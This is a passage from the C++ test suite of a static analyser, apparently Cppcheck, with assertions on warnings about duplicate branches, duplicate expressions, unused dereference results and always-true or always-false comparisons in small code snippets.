f(Foo f) {\\n\"\n \" *f.a(1, 5).v[x + y]++;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:24]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char* f(char* c) {\\n\"\n \" (*c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char* c) {\\n\"\n \" bar(*c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" ***c++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:9]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char** f(char*** c) {\\n\"\n \" **c[5]--;\\n\"\n \" return **c;\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '*', result is not used. [constStatement]\\n\"\n \"[test.cpp:2:11]: (warning) In expression like '*A++' the result of '*' is unused. Did you intend to write '(*A)++;'? [clarifyStatement]\\n\",\n errout_str());\n\n check(\"char*** f(char*** c) {\\n\"\n \" (***c)++;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int*** p) {\\n\" // #10923\n \" delete[] **p;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char** c) {\\n\"\n \" bar(**c++);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void *f(char* p) {\\n\"\n \" for (p = path; *p++;) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::array,3> array;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #12088\n \" for (auto it = v.begin(); it != v.end(); delete *it++);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch() {\n check(\"void f(int a, int &b) {\\n\"\n \" if (a)\\n\"\n \" b = 1;\\n\"\n \" else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" } else\\n\"\n \" b = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:9] -> [test.cpp:3:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(int a, int &b) {\\n\"\n \" if (a == 1)\\n\"\n \" b = 1;\\n\"\n \" else {\\n\"\n \" if (a)\\n\"\n \" b = 2;\\n\"\n \" else\\n\"\n \" b = 2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:5:9]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"int f(int signed, unsigned char value) {\\n\"\n \" int ret;\\n\"\n \" if (signed)\\n\"\n \" ret = (signed char)value;\\n\" // cast must be kept so the simplifications and verification is skipped\n \" else\\n\"\n \" ret = (unsigned char)value;\\n\"\n \" return ret;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov bx, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3407\n\n check(\"void f() {\\n\"\n \" if (b)\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \" else\\n\"\n \" __asm__(\\\"mov ax, bx\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:2:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n }\n\n void duplicateBranch1() {\n\n // tests inspired by http://www.viva64.com/en/b/0149/ ( Comparison between PVS-Studio and cppcheck )\n // Errors detected in Quake 3: Arena by PVS-Studio: Fragment 2\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" frac = front/(front-back);\\n\"\n \" else\\n\"\n \" frac = front/(front-back);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" { frac = front/(front-back);}\\n\"\n \" else\\n\"\n \" frac = front/((front-back));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:3] -> [test.cpp:3:3]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n // No message about empty branches (#5354)\n check(\"void f()\\n\"\n \"{\\n\"\n \" if (front < 0)\\n\"\n \" {}\\n\"\n \" else\\n\"\n \" {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch2() {\n checkP(\"#define DOSTUFF1 ;\\n\"\n \"#define DOSTUFF2 ;\\n\"\n \"void f(int x) {\\n\" // #4329\n \" if (x)\\n\"\n \" DOSTUFF1\\n\"\n \" else\\n\"\n \" DOSTUFF2\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch3() {\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:5:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\"\n \"[test.cpp:2:9]: (style) The scope of the variable 'j' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b, int i) {\\n\"\n \" int j = i;\\n\"\n \" i++;\\n\"\n \" if (b) {\\n\"\n \" x = i;\\n\"\n \" } else {\\n\"\n \" x = j;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch4() {\n check(\"void* f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" return new A::Y(true);\\n\"\n \" } else {\\n\"\n \" return new A::Z(true);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch5() {\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:7] -> [test.cpp:3:5]: (style, inconclusive) Found duplicate branches for 'if' and 'else'. [duplicateBranch]\\n\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = 1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" int j;\\n\"\n \" if (b) {\\n\"\n \" unsigned int i = 0;\\n\"\n \" j = i;\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" j = i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateBranch6() {\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" } else {\\n\"\n \" int i = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" if (b) {\\n\"\n \" int i = 0;\\n\"\n \" } else {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression1() {\n check(\"void foo(int a) {\\n\"\n \" if (a == a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void fun(int b) {\\n\"\n \" return a && a ||\\n\"\n \" b == b &&\\n\"\n \" d > d &&\\n\"\n \" e < e &&\\n\"\n \" f ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\"\n \"[test.cpp:3:15]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\"\n \"[test.cpp:4:15]: (style) Same expression on both sides of '>'. [duplicateExpression]\\n\"\n \"[test.cpp:5:15]: (style) Same expression on both sides of '<'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" return a && a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" a = b && b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(a,b == b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int b) {\\n\"\n \" f(b == b, a);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a < b) && (b > a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&&' because 'aa' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a <= b) && (b >= a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'a<=b' and 'b>=a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 || y!=3 || x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (style) Same expression 'x!=2' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (x!=2 && (x=y) && x!=2) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || a && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b || b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b | b && c) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a + b) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((a | b) & (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((a | b) == (a | b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a1[a2[c & 0xff] & 0xff]) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void d(const char f, int o, int v)\\n\"\n \"{\\n\"\n \" if (((f=='R') && (o == 1) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='R') && (o == 2) && ((v < 2) || (v > 99))) ||\\n\"\n \" ((f=='T') && (o == 2) && ((v < 200) || (v > 9999)))) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int x) { return x+x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) { while (x+=x) ; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a && b && b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a || b || b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a / 1000 / 1000) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int i) {\\n\"\n \" return i/i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (style) Same expression on both sides of '/'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (a << 1 << 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() { return !!y; }\"); // No FP\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different casts\n check(\"void f(long x) { if ((int32_t)x == (int64_t)x) {} }\",\n true, // filename\n false, // inconclusive\n false, // runSimpleChecks\n false, // verbose\n nullptr // settings\n );\n ASSERT_EQUALS(\"\", errout_str());\n\n // make sure there are not \"same expression\" fp when there are different ({}) expressions\n check(\"void f(long x) { if (({ 1+2; }) == ({3+4;})) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5535: Reference named like its type\n check(\"void foo() { UMSConfig& UMSConfig = GetUMSConfiguration(); }\");\n ASSERT_EQUALS(\"[test.cpp:1:25]: (style) Variable 'UMSConfig' can be declared as reference to const [constVariableReference]\\n\", errout_str());\n\n // #3868 - false positive (same expression on both sides of |)\n check(\"void f(int x) {\\n\"\n \" a = x ? A | B | C\\n\"\n \" : A | B;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const Bar &bar) {\\n\"\n \" bool a = bar.isSet() && bar->isSet();\\n\"\n \" bool b = bar.isSet() && bar.isSet();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b + a) | (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) Same expression on both sides of '|' because 'b+a' and 'a+b' represent the same value. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo(const std::string& a, const std::string& b) {\\n\"\n \" return a.find(b+\\\"&\\\") || a.find(\\\"&\\\"+b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if ((b > a) | (a > b)) {}\\n\" // > is not commutative\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(double a, double b) {\\n\"\n \" if ((b + a) > (a + b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The comparison 'b+a > a+b' is always false because 'b+a' and 'a+b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" if ((x == 1) && (x == 0x00000001))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '&&' because 'x==1' and 'x==0x00000001' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" if (Four == 4) {}\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) The comparison 'Four == 4' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" _Static_assert(Four == 4, \\\"\\\");\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { Four = 4 };\\n\"\n \" static_assert(4 == Four, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" if (FourInEnumOne == FourInEnumTwo) {}\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:4:23]: (style) The comparison 'FourInEnumOne == FourInEnumTwo' is always true because 'FourInEnumOne' and 'FourInEnumTwo' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" enum { FourInEnumOne = 4 };\\n\"\n \" enum { FourInEnumTwo = 4 };\\n\"\n \" static_assert(FourInEnumOne == FourInEnumTwo, \\\"\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a, int b) {\\n\"\n \" if (sizeof(a) == sizeof(a)) { }\\n\"\n \" if (sizeof(a) == sizeof(b)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n check(\"float bar(int) __attribute__((pure));\\n\"\n \"char foo(int) __attribute__((pure));\\n\"\n \"int test(int a, int b) {\\n\"\n \" if (bar(a) == bar(a)) { }\\n\"\n \" if (unknown(a) == unknown(a)) { }\\n\"\n \" if (foo(a) == foo(a)) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:16]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression2() { // check if float is NaN or Inf\n check(\"int f(long double ldbl, double dbl, float flt) {\\n\" // ticket #2730\n \" if (ldbl != ldbl) have_nan = 1;\\n\"\n \" if (!(dbl == dbl)) have_nan = 1;\\n\"\n \" if (flt != flt) have_nan = 1;\\n\"\n \" return have_nan;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return x-x; }\"); // ticket #4485 (Inf)\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) { return (X double)x == (X double)x; }\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { float f; };\\n\"\n \"float f(struct X x) { return x.f == x.f; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct X { int i; };\\n\"\n \"int f(struct X x) { return x.i == x.i; }\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n // #5284 - when type is unknown, assume it's float\n check(\"int f() { return x==x; }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression3() {\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" if (x() || x()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo() const;\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() const {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" void foo();\\n\"\n \" bool bar();\\n\"\n \" bool bar() const;\\n\"\n \"};\\n\"\n \"void A::foo() {\\n\"\n \" if (bar() && bar()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"class B {\\n\"\n \" void bar(int i);\\n\"\n \"};\\n\"\n \"class A {\\n\"\n \" void bar(int i) const;\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" B b;\\n\"\n \" A a;\\n\"\n \" if (b.bar(1) && b.bar(1)) {}\\n\"\n \" if (a.bar(1) && a.bar(1)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:18]: (style) Same expression on both sides of '&&'. [duplicateExpression]\\n\", errout_str());\n\n check(\"class D { void strcmp(); };\\n\"\n \"void foo() {\\n\"\n \" D d;\\n\"\n \" if (d.strcmp() && d.strcmp()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if ((mystrcmp(a, b) == 0) || (mystrcmp(a, b) == 0)) {}\\n\"\n \"}\", true, false, true, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() { return rand(); }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void __attribute__((const)) GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void GetValue() __attribute__((const));\\n\"\n \"void GetValue() { return X; }\\n\"\n \"void foo() {\\n\"\n \" if ((GetValue() == 0) || (GetValue() == 0)) { dostuff(); }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:27]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (str == \\\"(\\\" || str == \\\"(\\\") {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (bar(a) && !strcmp(a, b) && bar(a) && !strcmp(a, b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5334\n check(\"void f(C *src) {\\n\"\n \" if (x(src) || x(src))\\n\"\n \" a++;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(A *src) {\\n\"\n \" if (dynamic_cast(src) || dynamic_cast(src)) {}\\n\"\n \"}\\n\", true, false, false); // don't run simplifications\n ASSERT_EQUALS(\"[test.cpp:2:31]: (style) Same expression on both sides of '||'. [duplicateExpression]\\n\", errout_str());\n\n // #5819\n check(\"Vector func(Vector vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"Vector func(int vec1) {\\n\"\n \" return fabs(vec1 & vec1 & vec1);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:2:22]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\"\n \"[test.cpp:2:29]: (style) Same expression on both sides of '&'. [duplicateExpression]\\n\", // duplicate\n errout_str());\n\n }\n\n void duplicateExpression4() {\n check(\"void foo() {\\n\"\n \" if (*a++ != b || *a++ != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if (*a-- != b || *a-- != b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // assignment\n check(\"void f() {\\n\"\n \" while (*(a+=2)==*(b+=2) && *(a+=2)==*(b+=2)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression5() { // #3749 - macros with same values\n check(\"void f() {\\n\"\n \" if ($a == $a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y 1\\n\"\n \"void f() {\\n\"\n \" if (X == X) {}\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (style) Same expression on both sides of '=='. [duplicateExpression]\\n\", errout_str());\n\n checkP(\"#define X 1\\n\"\n \"#define Y X\\n\"\n \"void f() {\\n\"\n \" if (X == Y) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression6() { // #4639\n check(\"float IsNan(float value) { return !(value == value); }\\n\"\n \"double IsNan(double value) { return !(value == value); }\\n\"\n \"long double IsNan(long double value) { return !(value == value); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression7() {\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( i != sizeof (int)){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:12]: (style) The comparison 'i != sizeof(int)' is always false because 'i' and 'sizeof(int)' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int i = sizeof(int);\\n\"\n \" if ( sizeof (int) != i){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:25] -> [test.cpp:3:23]: (style) The comparison 'sizeof(int) != i' is always false because 'sizeof(int)' and 'i' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int a = 1) { if ( a != 1){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" if ( a != b){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:4:12]: (style) The comparison 'a != b' is always false because 'a' and 'b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = 1;\\n\"\n \" use(b);\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:13] -> [test.cpp:6:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 1;\\n\"\n \" use(a);\\n\"\n \" a = 2;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void use(int);\\n\"\n \"void f() {\\n\"\n \" int a = 2;\\n\"\n \" use(a);\\n\"\n \" a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const int a = 1;\\n\"\n \"void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:1:15] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"int a = 1;\\n\"\n \" void f() {\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" static const int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n 